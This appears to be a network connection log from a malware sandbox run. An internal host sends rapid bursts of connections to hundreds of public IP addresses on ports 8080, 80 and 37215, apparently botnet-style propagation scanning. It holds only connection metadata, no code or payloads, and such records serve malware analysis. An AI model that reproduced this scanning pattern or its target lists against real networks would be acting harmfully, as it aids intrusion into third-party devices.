Feb 19, 2025 19:43:17.268340111 CET	26802	8080	192.168.2.13	94.233.145.129
Feb 19, 2025 19:43:17.268340111 CET	26802	8080	192.168.2.13	31.164.199.152
Feb 19, 2025 19:43:17.268341064 CET	26802	8080	192.168.2.13	85.252.206.7
Feb 19, 2025 19:43:17.268347979 CET	26802	8080	192.168.2.13	62.35.205.45
Feb 19, 2025 19:43:17.268352985 CET	26802	8080	192.168.2.13	94.247.183.190
Feb 19, 2025 19:43:17.268357992 CET	26802	8080	192.168.2.13	31.223.165.53
Feb 19, 2025 19:43:17.268357992 CET	26802	8080	192.168.2.13	85.91.29.67
Feb 19, 2025 19:43:17.268358946 CET	26802	8080	192.168.2.13	31.214.7.158
Feb 19, 2025 19:43:17.268363953 CET	26802	8080	192.168.2.13	95.216.76.166
Feb 19, 2025 19:43:17.268363953 CET	26802	8080	192.168.2.13	95.4.130.147
Feb 19, 2025 19:43:17.268363953 CET	26802	8080	192.168.2.13	85.67.125.58
Feb 19, 2025 19:43:17.268369913 CET	26802	8080	192.168.2.13	85.93.154.58
Feb 19, 2025 19:43:17.268372059 CET	26802	8080	192.168.2.13	31.114.66.62
Feb 19, 2025 19:43:17.268372059 CET	26802	8080	192.168.2.13	62.128.10.186
Feb 19, 2025 19:43:17.268378019 CET	26802	8080	192.168.2.13	85.166.157.29
Feb 19, 2025 19:43:17.268378019 CET	26802	8080	192.168.2.13	31.253.192.24
Feb 19, 2025 19:43:17.268378019 CET	26802	8080	192.168.2.13	62.86.151.78
Feb 19, 2025 19:43:17.268379927 CET	26802	8080	192.168.2.13	62.69.189.63
Feb 19, 2025 19:43:17.268378973 CET	26802	8080	192.168.2.13	62.82.82.183
Feb 19, 2025 19:43:17.268378019 CET	26802	8080	192.168.2.13	31.93.188.68
Feb 19, 2025 19:43:17.268378973 CET	26802	8080	192.168.2.13	94.133.196.180
Feb 19, 2025 19:43:17.268385887 CET	26802	8080	192.168.2.13	95.197.66.233
Feb 19, 2025 19:43:17.268389940 CET	26802	8080	192.168.2.13	85.87.225.152
Feb 19, 2025 19:43:17.268392086 CET	26802	8080	192.168.2.13	85.173.128.10
Feb 19, 2025 19:43:17.268407106 CET	26802	8080	192.168.2.13	94.36.93.235
Feb 19, 2025 19:43:17.268407106 CET	26802	8080	192.168.2.13	95.117.32.73
Feb 19, 2025 19:43:17.268409014 CET	26802	8080	192.168.2.13	85.236.16.49
Feb 19, 2025 19:43:17.268414974 CET	26802	8080	192.168.2.13	31.88.127.20
Feb 19, 2025 19:43:17.268415928 CET	26802	8080	192.168.2.13	95.189.70.143
Feb 19, 2025 19:43:17.268416882 CET	26802	8080	192.168.2.13	62.218.123.75
Feb 19, 2025 19:43:17.268434048 CET	26802	8080	192.168.2.13	85.31.105.177
Feb 19, 2025 19:43:17.268434048 CET	26802	8080	192.168.2.13	62.2.233.182
Feb 19, 2025 19:43:17.268434048 CET	26802	8080	192.168.2.13	95.107.93.111
Feb 19, 2025 19:43:17.268438101 CET	26802	8080	192.168.2.13	85.84.38.231
Feb 19, 2025 19:43:17.268439054 CET	26802	8080	192.168.2.13	94.1.216.207
Feb 19, 2025 19:43:17.268439054 CET	26802	8080	192.168.2.13	85.7.18.56
Feb 19, 2025 19:43:17.268446922 CET	26802	8080	192.168.2.13	95.23.24.229
Feb 19, 2025 19:43:17.268449068 CET	26802	8080	192.168.2.13	62.220.87.8
Feb 19, 2025 19:43:17.268450022 CET	26802	8080	192.168.2.13	94.101.140.250
Feb 19, 2025 19:43:17.268451929 CET	26802	8080	192.168.2.13	31.110.173.21
Feb 19, 2025 19:43:17.268451929 CET	26802	8080	192.168.2.13	31.250.92.128
Feb 19, 2025 19:43:17.268464088 CET	26802	8080	192.168.2.13	31.104.77.34
Feb 19, 2025 19:43:17.268467903 CET	26802	8080	192.168.2.13	62.190.42.114
Feb 19, 2025 19:43:17.268479109 CET	26802	8080	192.168.2.13	95.104.254.221
Feb 19, 2025 19:43:17.268479109 CET	26802	8080	192.168.2.13	31.3.180.62
Feb 19, 2025 19:43:17.268479109 CET	26802	8080	192.168.2.13	94.210.89.130
Feb 19, 2025 19:43:17.268479109 CET	26802	8080	192.168.2.13	31.128.15.105
Feb 19, 2025 19:43:17.268487930 CET	26802	8080	192.168.2.13	95.86.141.222
Feb 19, 2025 19:43:17.268490076 CET	26802	8080	192.168.2.13	85.221.142.25
Feb 19, 2025 19:43:17.268490076 CET	26802	8080	192.168.2.13	31.228.115.113
Feb 19, 2025 19:43:17.268495083 CET	26802	8080	192.168.2.13	62.22.152.123
Feb 19, 2025 19:43:17.268496990 CET	26802	8080	192.168.2.13	94.105.52.31
Feb 19, 2025 19:43:17.268500090 CET	26802	8080	192.168.2.13	85.176.247.129
Feb 19, 2025 19:43:17.268500090 CET	26802	8080	192.168.2.13	31.193.207.38
Feb 19, 2025 19:43:17.268501043 CET	26802	8080	192.168.2.13	95.159.165.59
Feb 19, 2025 19:43:17.268507957 CET	26802	8080	192.168.2.13	94.138.197.106
Feb 19, 2025 19:43:17.268507957 CET	26802	8080	192.168.2.13	31.79.205.91
Feb 19, 2025 19:43:17.268507957 CET	26802	8080	192.168.2.13	31.230.69.208
Feb 19, 2025 19:43:17.268510103 CET	26802	8080	192.168.2.13	94.45.200.245
Feb 19, 2025 19:43:17.268510103 CET	26802	8080	192.168.2.13	31.231.62.100
Feb 19, 2025 19:43:17.268512964 CET	26802	8080	192.168.2.13	95.42.225.12
Feb 19, 2025 19:43:17.268515110 CET	26802	8080	192.168.2.13	85.63.26.94
Feb 19, 2025 19:43:17.268521070 CET	26802	8080	192.168.2.13	95.173.38.223
Feb 19, 2025 19:43:17.268527985 CET	26802	8080	192.168.2.13	94.8.35.63
Feb 19, 2025 19:43:17.268531084 CET	26802	8080	192.168.2.13	31.12.39.63
Feb 19, 2025 19:43:17.268529892 CET	26802	8080	192.168.2.13	31.47.99.123
Feb 19, 2025 19:43:17.268532991 CET	26802	8080	192.168.2.13	31.141.80.227
Feb 19, 2025 19:43:17.268532991 CET	26802	8080	192.168.2.13	95.146.60.145
Feb 19, 2025 19:43:17.268534899 CET	26802	8080	192.168.2.13	31.61.107.154
Feb 19, 2025 19:43:17.268551111 CET	26802	8080	192.168.2.13	31.172.107.90
Feb 19, 2025 19:43:17.268551111 CET	26802	8080	192.168.2.13	85.188.190.8
Feb 19, 2025 19:43:17.268552065 CET	26802	8080	192.168.2.13	62.171.241.32
Feb 19, 2025 19:43:17.268552065 CET	26802	8080	192.168.2.13	94.250.224.207
Feb 19, 2025 19:43:17.268556118 CET	26802	8080	192.168.2.13	62.157.151.16
Feb 19, 2025 19:43:17.268557072 CET	26802	8080	192.168.2.13	62.222.76.96
Feb 19, 2025 19:43:17.268558979 CET	26802	8080	192.168.2.13	31.20.187.211
Feb 19, 2025 19:43:17.268558979 CET	26802	8080	192.168.2.13	95.18.58.22
Feb 19, 2025 19:43:17.268562078 CET	26802	8080	192.168.2.13	62.229.217.51
Feb 19, 2025 19:43:17.268562078 CET	26802	8080	192.168.2.13	95.180.50.49
Feb 19, 2025 19:43:17.268575907 CET	26802	8080	192.168.2.13	31.118.71.141
Feb 19, 2025 19:43:17.268575907 CET	26802	8080	192.168.2.13	62.146.44.39
Feb 19, 2025 19:43:17.268588066 CET	26802	8080	192.168.2.13	94.34.8.254
Feb 19, 2025 19:43:17.268593073 CET	26802	8080	192.168.2.13	94.10.62.144
Feb 19, 2025 19:43:17.268594027 CET	26802	8080	192.168.2.13	31.56.100.52
Feb 19, 2025 19:43:17.268594027 CET	26802	8080	192.168.2.13	94.60.33.172
Feb 19, 2025 19:43:17.268595934 CET	26802	8080	192.168.2.13	85.49.243.93
Feb 19, 2025 19:43:17.268599033 CET	26802	8080	192.168.2.13	95.225.58.155
Feb 19, 2025 19:43:17.268601894 CET	26802	8080	192.168.2.13	85.129.236.21
Feb 19, 2025 19:43:17.268604040 CET	26802	8080	192.168.2.13	31.232.161.169
Feb 19, 2025 19:43:17.268604040 CET	26802	8080	192.168.2.13	62.209.17.60
Feb 19, 2025 19:43:17.268604040 CET	26802	8080	192.168.2.13	62.29.243.197
Feb 19, 2025 19:43:17.268620968 CET	26802	8080	192.168.2.13	85.19.238.167
Feb 19, 2025 19:43:17.268621922 CET	26802	8080	192.168.2.13	95.168.31.29
Feb 19, 2025 19:43:17.268621922 CET	26802	8080	192.168.2.13	85.6.252.62
Feb 19, 2025 19:43:17.268621922 CET	26802	8080	192.168.2.13	95.39.45.164
Feb 19, 2025 19:43:17.268624067 CET	26802	8080	192.168.2.13	62.93.122.42
Feb 19, 2025 19:43:17.268630981 CET	26802	8080	192.168.2.13	85.247.12.219
Feb 19, 2025 19:43:17.268634081 CET	26802	8080	192.168.2.13	85.197.229.69
Feb 19, 2025 19:43:17.268634081 CET	26802	8080	192.168.2.13	85.118.83.232
Feb 19, 2025 19:43:17.268635988 CET	26802	8080	192.168.2.13	62.11.60.138
Feb 19, 2025 19:43:17.268642902 CET	26802	8080	192.168.2.13	31.145.153.139
Feb 19, 2025 19:43:17.268651009 CET	26802	8080	192.168.2.13	94.100.109.206
Feb 19, 2025 19:43:17.268651009 CET	26802	8080	192.168.2.13	62.7.134.176
Feb 19, 2025 19:43:17.268656015 CET	26802	8080	192.168.2.13	95.236.202.196
Feb 19, 2025 19:43:17.268661022 CET	26802	8080	192.168.2.13	94.249.129.14
Feb 19, 2025 19:43:17.268661022 CET	26802	8080	192.168.2.13	94.237.62.88
Feb 19, 2025 19:43:17.268666983 CET	26802	8080	192.168.2.13	95.53.146.208
Feb 19, 2025 19:43:17.268666983 CET	26802	8080	192.168.2.13	95.83.73.146
Feb 19, 2025 19:43:17.268667936 CET	26802	8080	192.168.2.13	95.222.187.195
Feb 19, 2025 19:43:17.268668890 CET	26802	8080	192.168.2.13	85.98.193.81
Feb 19, 2025 19:43:17.268668890 CET	26802	8080	192.168.2.13	31.242.231.222
Feb 19, 2025 19:43:17.268671989 CET	26802	8080	192.168.2.13	85.164.166.135
Feb 19, 2025 19:43:17.268675089 CET	26802	8080	192.168.2.13	85.75.207.81
Feb 19, 2025 19:43:17.268675089 CET	26802	8080	192.168.2.13	94.125.20.131
Feb 19, 2025 19:43:17.268675089 CET	58124	37215	192.168.2.13	41.97.246.77
Feb 19, 2025 19:43:17.268676996 CET	26802	8080	192.168.2.13	95.151.197.223
Feb 19, 2025 19:43:17.268687010 CET	26802	8080	192.168.2.13	95.112.168.110
Feb 19, 2025 19:43:17.268687010 CET	26802	8080	192.168.2.13	62.17.129.180
Feb 19, 2025 19:43:17.268687010 CET	26802	8080	192.168.2.13	31.10.196.93
Feb 19, 2025 19:43:17.268687963 CET	26802	8080	192.168.2.13	95.122.225.197
Feb 19, 2025 19:43:17.268690109 CET	26802	8080	192.168.2.13	94.172.16.40
Feb 19, 2025 19:43:17.268701077 CET	26802	8080	192.168.2.13	31.228.13.35
Feb 19, 2025 19:43:17.268701077 CET	26802	8080	192.168.2.13	94.204.206.9
Feb 19, 2025 19:43:17.268712997 CET	26802	8080	192.168.2.13	62.98.6.196
Feb 19, 2025 19:43:17.268714905 CET	26802	8080	192.168.2.13	62.61.26.4
Feb 19, 2025 19:43:17.268712997 CET	26802	8080	192.168.2.13	85.99.190.136
Feb 19, 2025 19:43:17.268714905 CET	26802	8080	192.168.2.13	95.172.100.113
Feb 19, 2025 19:43:17.268714905 CET	26802	8080	192.168.2.13	31.143.249.192
Feb 19, 2025 19:43:17.268717051 CET	26802	8080	192.168.2.13	62.71.41.113
Feb 19, 2025 19:43:17.268714905 CET	26802	8080	192.168.2.13	62.184.144.144
Feb 19, 2025 19:43:17.268721104 CET	26802	8080	192.168.2.13	95.253.184.190
Feb 19, 2025 19:43:17.268728971 CET	26802	8080	192.168.2.13	31.154.155.18
Feb 19, 2025 19:43:17.268729925 CET	26802	8080	192.168.2.13	31.56.137.160
Feb 19, 2025 19:43:17.268732071 CET	26802	8080	192.168.2.13	85.191.148.243
Feb 19, 2025 19:43:17.268732071 CET	26802	8080	192.168.2.13	31.172.104.124
Feb 19, 2025 19:43:17.268732071 CET	26802	8080	192.168.2.13	94.201.156.155
Feb 19, 2025 19:43:17.268732071 CET	26802	8080	192.168.2.13	94.65.133.95
Feb 19, 2025 19:43:17.268732071 CET	26802	8080	192.168.2.13	62.16.184.11
Feb 19, 2025 19:43:17.268732071 CET	26802	8080	192.168.2.13	62.39.224.63
Feb 19, 2025 19:43:17.268739939 CET	26802	8080	192.168.2.13	31.107.139.76
Feb 19, 2025 19:43:17.268744946 CET	26802	8080	192.168.2.13	94.93.164.238
Feb 19, 2025 19:43:17.268747091 CET	26802	8080	192.168.2.13	31.204.15.85
Feb 19, 2025 19:43:17.268747091 CET	26802	8080	192.168.2.13	31.94.49.177
Feb 19, 2025 19:43:17.268748999 CET	26802	8080	192.168.2.13	85.90.22.100
Feb 19, 2025 19:43:17.268749952 CET	26802	8080	192.168.2.13	95.46.8.200
Feb 19, 2025 19:43:17.268758059 CET	26802	8080	192.168.2.13	31.127.142.253
Feb 19, 2025 19:43:17.268778086 CET	26802	8080	192.168.2.13	31.32.204.25
Feb 19, 2025 19:43:17.268779993 CET	26802	8080	192.168.2.13	95.63.0.107
Feb 19, 2025 19:43:17.268779993 CET	26802	8080	192.168.2.13	95.6.33.24
Feb 19, 2025 19:43:17.268780947 CET	26802	8080	192.168.2.13	31.184.153.56
Feb 19, 2025 19:43:17.268783092 CET	26802	8080	192.168.2.13	94.213.87.234
Feb 19, 2025 19:43:17.268784046 CET	26802	8080	192.168.2.13	31.120.26.148
Feb 19, 2025 19:43:17.268785954 CET	26802	8080	192.168.2.13	85.180.58.96
Feb 19, 2025 19:43:17.268788099 CET	26802	8080	192.168.2.13	31.105.19.171
Feb 19, 2025 19:43:17.268788099 CET	26802	8080	192.168.2.13	85.180.20.77
Feb 19, 2025 19:43:17.268793106 CET	26802	8080	192.168.2.13	62.193.95.45
Feb 19, 2025 19:43:17.268800020 CET	26802	8080	192.168.2.13	62.217.49.246
Feb 19, 2025 19:43:17.268814087 CET	26802	8080	192.168.2.13	95.27.56.219
Feb 19, 2025 19:43:17.268815041 CET	26802	8080	192.168.2.13	94.143.55.197
Feb 19, 2025 19:43:17.268815041 CET	26802	8080	192.168.2.13	85.162.58.31
Feb 19, 2025 19:43:17.268815041 CET	26802	8080	192.168.2.13	95.165.37.84
Feb 19, 2025 19:43:17.268816948 CET	26802	8080	192.168.2.13	95.203.49.115
Feb 19, 2025 19:43:17.268816948 CET	26802	8080	192.168.2.13	95.7.210.190
Feb 19, 2025 19:43:17.268816948 CET	26802	8080	192.168.2.13	31.127.56.167
Feb 19, 2025 19:43:17.268826008 CET	26802	8080	192.168.2.13	94.58.120.189
Feb 19, 2025 19:43:17.268826962 CET	26802	8080	192.168.2.13	31.155.32.119
Feb 19, 2025 19:43:17.268826008 CET	26802	8080	192.168.2.13	31.218.184.118
Feb 19, 2025 19:43:17.268827915 CET	26802	8080	192.168.2.13	85.137.13.197
Feb 19, 2025 19:43:17.268827915 CET	26802	8080	192.168.2.13	94.179.165.133
Feb 19, 2025 19:43:17.268832922 CET	26802	8080	192.168.2.13	62.195.165.173
Feb 19, 2025 19:43:17.268834114 CET	26802	8080	192.168.2.13	85.252.171.178
Feb 19, 2025 19:43:17.268835068 CET	26802	8080	192.168.2.13	31.231.161.43
Feb 19, 2025 19:43:17.268835068 CET	26802	8080	192.168.2.13	62.151.25.223
Feb 19, 2025 19:43:17.268837929 CET	26802	8080	192.168.2.13	94.238.50.8
Feb 19, 2025 19:43:17.268838882 CET	26802	8080	192.168.2.13	85.109.235.221
Feb 19, 2025 19:43:17.268838882 CET	26802	8080	192.168.2.13	31.145.12.74
Feb 19, 2025 19:43:17.268843889 CET	26802	8080	192.168.2.13	94.140.94.137
Feb 19, 2025 19:43:17.268846989 CET	26802	8080	192.168.2.13	95.12.127.33
Feb 19, 2025 19:43:17.268850088 CET	26802	8080	192.168.2.13	31.197.152.174
Feb 19, 2025 19:43:17.268860102 CET	26802	8080	192.168.2.13	95.201.24.58
Feb 19, 2025 19:43:17.268860102 CET	26802	8080	192.168.2.13	94.134.67.217
Feb 19, 2025 19:43:17.268863916 CET	26802	8080	192.168.2.13	94.37.76.104
Feb 19, 2025 19:43:17.268865108 CET	26802	8080	192.168.2.13	94.157.172.66
Feb 19, 2025 19:43:17.268881083 CET	26802	8080	192.168.2.13	62.148.71.195
Feb 19, 2025 19:43:17.268882036 CET	26802	8080	192.168.2.13	95.244.146.245
Feb 19, 2025 19:43:17.268882036 CET	26802	8080	192.168.2.13	31.129.52.145
Feb 19, 2025 19:43:17.268882036 CET	42814	80	192.168.2.13	112.123.98.126
Feb 19, 2025 19:43:17.268887043 CET	26802	8080	192.168.2.13	94.205.74.175
Feb 19, 2025 19:43:17.268889904 CET	26802	8080	192.168.2.13	62.250.15.187
Feb 19, 2025 19:43:17.268904924 CET	26802	8080	192.168.2.13	95.12.217.168
Feb 19, 2025 19:43:17.268904924 CET	26802	8080	192.168.2.13	94.153.58.135
Feb 19, 2025 19:43:17.268906116 CET	26802	8080	192.168.2.13	85.135.110.213
Feb 19, 2025 19:43:17.268906116 CET	26802	8080	192.168.2.13	95.166.102.146
Feb 19, 2025 19:43:17.268910885 CET	26802	8080	192.168.2.13	31.78.68.212
Feb 19, 2025 19:43:17.268912077 CET	26802	8080	192.168.2.13	62.142.39.182
Feb 19, 2025 19:43:17.268912077 CET	26802	8080	192.168.2.13	62.20.14.13
Feb 19, 2025 19:43:17.268912077 CET	26802	8080	192.168.2.13	95.139.50.181
Feb 19, 2025 19:43:17.268914938 CET	26802	8080	192.168.2.13	95.185.43.237
Feb 19, 2025 19:43:17.268915892 CET	26802	8080	192.168.2.13	62.192.2.122
Feb 19, 2025 19:43:17.268930912 CET	26802	8080	192.168.2.13	62.95.81.227
Feb 19, 2025 19:43:17.268930912 CET	26802	8080	192.168.2.13	94.200.195.190
Feb 19, 2025 19:43:17.268932104 CET	26802	8080	192.168.2.13	31.143.122.74
Feb 19, 2025 19:43:17.268932104 CET	26802	8080	192.168.2.13	94.219.246.231
Feb 19, 2025 19:43:17.268938065 CET	26802	8080	192.168.2.13	94.189.33.214
Feb 19, 2025 19:43:17.268938065 CET	26802	8080	192.168.2.13	95.70.109.41
Feb 19, 2025 19:43:17.268939018 CET	26802	8080	192.168.2.13	94.115.181.125
Feb 19, 2025 19:43:17.268939018 CET	26802	8080	192.168.2.13	31.155.107.203
Feb 19, 2025 19:43:17.268940926 CET	26802	8080	192.168.2.13	95.101.77.219
Feb 19, 2025 19:43:17.268956900 CET	26802	8080	192.168.2.13	31.15.187.105
Feb 19, 2025 19:43:17.268959045 CET	26802	8080	192.168.2.13	95.37.148.196
Feb 19, 2025 19:43:17.269143105 CET	26802	8080	192.168.2.13	94.197.154.124
Feb 19, 2025 19:43:17.270509005 CET	37150	37215	192.168.2.13	41.85.215.126
Feb 19, 2025 19:43:17.270857096 CET	60976	80	192.168.2.13	112.185.156.92
Feb 19, 2025 19:43:17.272269011 CET	37366	37215	192.168.2.13	41.236.2.206
Feb 19, 2025 19:43:17.272336006 CET	8080	26802	62.67.87.21	192.168.2.13
Feb 19, 2025 19:43:17.272389889 CET	26802	8080	192.168.2.13	62.67.87.21
Feb 19, 2025 19:43:17.272583961 CET	44468	80	192.168.2.13	112.129.62.116
Feb 19, 2025 19:43:17.275047064 CET	40730	37215	192.168.2.13	41.192.105.248
Feb 19, 2025 19:43:17.275343895 CET	37276	80	192.168.2.13	112.145.246.200
Feb 19, 2025 19:43:17.279385090 CET	33160	37215	192.168.2.13	41.180.24.40
Feb 19, 2025 19:43:17.280329943 CET	80	37276	112.145.246.200	192.168.2.13
Feb 19, 2025 19:43:17.281229973 CET	37276	80	192.168.2.13	112.145.246.200
Feb 19, 2025 19:43:17.282888889 CET	39378	80	192.168.2.13	112.54.221.105
Feb 19, 2025 19:43:17.285037041 CET	53170	37215	192.168.2.13	41.11.16.31
Feb 19, 2025 19:43:17.286930084 CET	54324	80	192.168.2.13	112.72.61.1
Feb 19, 2025 19:43:17.289282084 CET	56902	37215	192.168.2.13	41.119.40.22
Feb 19, 2025 19:43:17.290611029 CET	53002	80	192.168.2.13	112.191.154.247
Feb 19, 2025 19:43:17.291994095 CET	55642	37215	192.168.2.13	41.30.83.86
Feb 19, 2025 19:43:17.292730093 CET	45322	80	192.168.2.13	112.43.133.23
Feb 19, 2025 19:43:17.294322014 CET	37215	56902	41.119.40.22	192.168.2.13
Feb 19, 2025 19:43:17.294363022 CET	56902	37215	192.168.2.13	41.119.40.22
Feb 19, 2025 19:43:17.294420004 CET	48240	37215	192.168.2.13	41.46.196.156
Feb 19, 2025 19:43:17.298048019 CET	42796	80	192.168.2.13	112.146.164.23
Feb 19, 2025 19:43:17.301492929 CET	46820	37215	192.168.2.13	41.113.159.219
Feb 19, 2025 19:43:17.303004980 CET	80	42796	112.146.164.23	192.168.2.13
Feb 19, 2025 19:43:17.303047895 CET	42796	80	192.168.2.13	112.146.164.23
Feb 19, 2025 19:43:17.307012081 CET	39842	37215	192.168.2.13	41.2.104.204
Feb 19, 2025 19:43:17.311441898 CET	36250	37215	192.168.2.13	41.43.155.121
Feb 19, 2025 19:43:17.316447020 CET	37215	36250	41.43.155.121	192.168.2.13
Feb 19, 2025 19:43:17.316488028 CET	36250	37215	192.168.2.13	41.43.155.121
Feb 19, 2025 19:43:17.316756964 CET	36294	37215	192.168.2.13	41.16.131.145
Feb 19, 2025 19:43:17.317306995 CET	57598	80	192.168.2.13	112.142.24.157
Feb 19, 2025 19:43:17.318821907 CET	49304	37215	192.168.2.13	41.36.29.150
Feb 19, 2025 19:43:17.319072962 CET	55174	80	192.168.2.13	112.76.8.20
Feb 19, 2025 19:43:17.320429087 CET	27058	80	192.168.2.13	88.249.106.243
Feb 19, 2025 19:43:17.320429087 CET	27058	80	192.168.2.13	88.242.208.180
Feb 19, 2025 19:43:17.320440054 CET	27058	80	192.168.2.13	88.171.194.251
Feb 19, 2025 19:43:17.320450068 CET	27058	80	192.168.2.13	88.190.235.45
Feb 19, 2025 19:43:17.320466042 CET	27058	80	192.168.2.13	88.9.169.155
Feb 19, 2025 19:43:17.320492029 CET	27058	80	192.168.2.13	88.161.147.66
Feb 19, 2025 19:43:17.320493937 CET	27058	80	192.168.2.13	88.1.44.76
Feb 19, 2025 19:43:17.320509911 CET	27058	80	192.168.2.13	88.6.175.36
Feb 19, 2025 19:43:17.320522070 CET	27058	80	192.168.2.13	88.207.63.200
Feb 19, 2025 19:43:17.320528984 CET	27058	80	192.168.2.13	88.73.12.192
Feb 19, 2025 19:43:17.320534945 CET	27058	80	192.168.2.13	88.40.106.159
Feb 19, 2025 19:43:17.320544004 CET	27058	80	192.168.2.13	88.202.80.157
Feb 19, 2025 19:43:17.320547104 CET	27058	80	192.168.2.13	88.113.62.46
Feb 19, 2025 19:43:17.320559978 CET	27058	80	192.168.2.13	88.153.77.82
Feb 19, 2025 19:43:17.320590019 CET	27058	80	192.168.2.13	88.23.113.71
Feb 19, 2025 19:43:17.320590973 CET	27058	80	192.168.2.13	88.128.83.171
Feb 19, 2025 19:43:17.320591927 CET	27058	80	192.168.2.13	88.17.16.87
Feb 19, 2025 19:43:17.320610046 CET	27058	80	192.168.2.13	88.25.216.177
Feb 19, 2025 19:43:17.320611000 CET	27058	80	192.168.2.13	88.157.216.177
Feb 19, 2025 19:43:17.320614100 CET	27058	80	192.168.2.13	88.144.81.130
Feb 19, 2025 19:43:17.320615053 CET	27058	80	192.168.2.13	88.39.218.8
Feb 19, 2025 19:43:17.320657015 CET	27058	80	192.168.2.13	88.248.44.137
Feb 19, 2025 19:43:17.320658922 CET	27058	80	192.168.2.13	88.86.152.112
Feb 19, 2025 19:43:17.320658922 CET	27058	80	192.168.2.13	88.140.149.3
Feb 19, 2025 19:43:17.320660114 CET	27058	80	192.168.2.13	88.61.114.178
Feb 19, 2025 19:43:17.320658922 CET	27058	80	192.168.2.13	88.113.55.109
Feb 19, 2025 19:43:17.320673943 CET	27058	80	192.168.2.13	88.211.64.1
Feb 19, 2025 19:43:17.320697069 CET	27058	80	192.168.2.13	88.51.90.190
Feb 19, 2025 19:43:17.320702076 CET	27058	80	192.168.2.13	88.41.22.70
Feb 19, 2025 19:43:17.320702076 CET	27058	80	192.168.2.13	88.177.8.15
Feb 19, 2025 19:43:17.320724964 CET	27058	80	192.168.2.13	88.224.245.239
Feb 19, 2025 19:43:17.320730925 CET	27058	80	192.168.2.13	88.54.147.11
Feb 19, 2025 19:43:17.320739985 CET	27058	80	192.168.2.13	88.32.54.213
Feb 19, 2025 19:43:17.320749044 CET	27058	80	192.168.2.13	88.26.101.11
Feb 19, 2025 19:43:17.320771933 CET	27058	80	192.168.2.13	88.83.201.216
Feb 19, 2025 19:43:17.320780993 CET	27058	80	192.168.2.13	88.63.214.58
Feb 19, 2025 19:43:17.320792913 CET	27058	80	192.168.2.13	88.245.47.17
Feb 19, 2025 19:43:17.320799112 CET	27058	80	192.168.2.13	88.247.234.174
Feb 19, 2025 19:43:17.320825100 CET	27058	80	192.168.2.13	88.195.107.141
Feb 19, 2025 19:43:17.320825100 CET	27058	80	192.168.2.13	88.151.200.175
Feb 19, 2025 19:43:17.320827961 CET	27058	80	192.168.2.13	88.99.157.37
Feb 19, 2025 19:43:17.320828915 CET	35978	37215	192.168.2.13	41.104.131.128
Feb 19, 2025 19:43:17.320828915 CET	27058	80	192.168.2.13	88.85.123.181
Feb 19, 2025 19:43:17.320846081 CET	27058	80	192.168.2.13	88.151.98.111
Feb 19, 2025 19:43:17.320869923 CET	27058	80	192.168.2.13	88.174.111.54
Feb 19, 2025 19:43:17.320878983 CET	27058	80	192.168.2.13	88.79.78.31
Feb 19, 2025 19:43:17.320899963 CET	27058	80	192.168.2.13	88.97.25.182
Feb 19, 2025 19:43:17.320904970 CET	27058	80	192.168.2.13	88.214.23.179
Feb 19, 2025 19:43:17.320909023 CET	27058	80	192.168.2.13	88.8.48.247
Feb 19, 2025 19:43:17.320945978 CET	27058	80	192.168.2.13	88.11.76.75
Feb 19, 2025 19:43:17.320955038 CET	27058	80	192.168.2.13	88.58.90.122
Feb 19, 2025 19:43:17.320961952 CET	27058	80	192.168.2.13	88.9.119.164
Feb 19, 2025 19:43:17.320966959 CET	27058	80	192.168.2.13	88.96.176.18
Feb 19, 2025 19:43:17.320976973 CET	27058	80	192.168.2.13	88.229.113.147
Feb 19, 2025 19:43:17.321001053 CET	27058	80	192.168.2.13	88.195.250.18
Feb 19, 2025 19:43:17.321002007 CET	27058	80	192.168.2.13	88.16.218.219
Feb 19, 2025 19:43:17.321027040 CET	27058	80	192.168.2.13	88.74.241.25
Feb 19, 2025 19:43:17.321027040 CET	27058	80	192.168.2.13	88.249.188.136
Feb 19, 2025 19:43:17.321028948 CET	27058	80	192.168.2.13	88.251.44.6
Feb 19, 2025 19:43:17.321036100 CET	27058	80	192.168.2.13	88.215.60.88
Feb 19, 2025 19:43:17.321048975 CET	27058	80	192.168.2.13	88.18.182.161
Feb 19, 2025 19:43:17.321069002 CET	27058	80	192.168.2.13	88.117.152.53
Feb 19, 2025 19:43:17.321098089 CET	27058	80	192.168.2.13	88.154.240.31
Feb 19, 2025 19:43:17.321099043 CET	27058	80	192.168.2.13	88.193.80.243
Feb 19, 2025 19:43:17.321115971 CET	27058	80	192.168.2.13	88.246.146.163
Feb 19, 2025 19:43:17.321118116 CET	27058	80	192.168.2.13	88.41.81.128
Feb 19, 2025 19:43:17.321118116 CET	27058	80	192.168.2.13	88.154.8.83
Feb 19, 2025 19:43:17.321136951 CET	27058	80	192.168.2.13	88.193.81.137
Feb 19, 2025 19:43:17.321144104 CET	27058	80	192.168.2.13	88.0.8.166
Feb 19, 2025 19:43:17.321170092 CET	27058	80	192.168.2.13	88.53.70.62
Feb 19, 2025 19:43:17.321175098 CET	27058	80	192.168.2.13	88.132.29.75
Feb 19, 2025 19:43:17.321186066 CET	27058	80	192.168.2.13	88.40.197.146
Feb 19, 2025 19:43:17.321201086 CET	27058	80	192.168.2.13	88.186.121.245
Feb 19, 2025 19:43:17.321223021 CET	27058	80	192.168.2.13	88.204.166.10
Feb 19, 2025 19:43:17.321223021 CET	27058	80	192.168.2.13	88.179.112.146
Feb 19, 2025 19:43:17.321225882 CET	27058	80	192.168.2.13	88.252.85.179
Feb 19, 2025 19:43:17.321249962 CET	27058	80	192.168.2.13	88.129.95.66
Feb 19, 2025 19:43:17.321261883 CET	27058	80	192.168.2.13	88.62.169.188
Feb 19, 2025 19:43:17.321268082 CET	27058	80	192.168.2.13	88.219.210.17
Feb 19, 2025 19:43:17.321289062 CET	27058	80	192.168.2.13	88.130.86.118
Feb 19, 2025 19:43:17.321289062 CET	27058	80	192.168.2.13	88.156.158.48
Feb 19, 2025 19:43:17.321289062 CET	27058	80	192.168.2.13	88.80.201.249
Feb 19, 2025 19:43:17.321306944 CET	27058	80	192.168.2.13	88.72.116.240
Feb 19, 2025 19:43:17.321310043 CET	27058	80	192.168.2.13	88.105.159.49
Feb 19, 2025 19:43:17.321329117 CET	27058	80	192.168.2.13	88.30.203.179
Feb 19, 2025 19:43:17.321332932 CET	27058	80	192.168.2.13	88.188.25.38
Feb 19, 2025 19:43:17.321338892 CET	27058	80	192.168.2.13	88.220.151.247
Feb 19, 2025 19:43:17.321351051 CET	27058	80	192.168.2.13	88.80.130.217
Feb 19, 2025 19:43:17.321374893 CET	27058	80	192.168.2.13	88.238.237.50
Feb 19, 2025 19:43:17.321374893 CET	27058	80	192.168.2.13	88.45.103.39
Feb 19, 2025 19:43:17.321394920 CET	27058	80	192.168.2.13	88.13.49.86
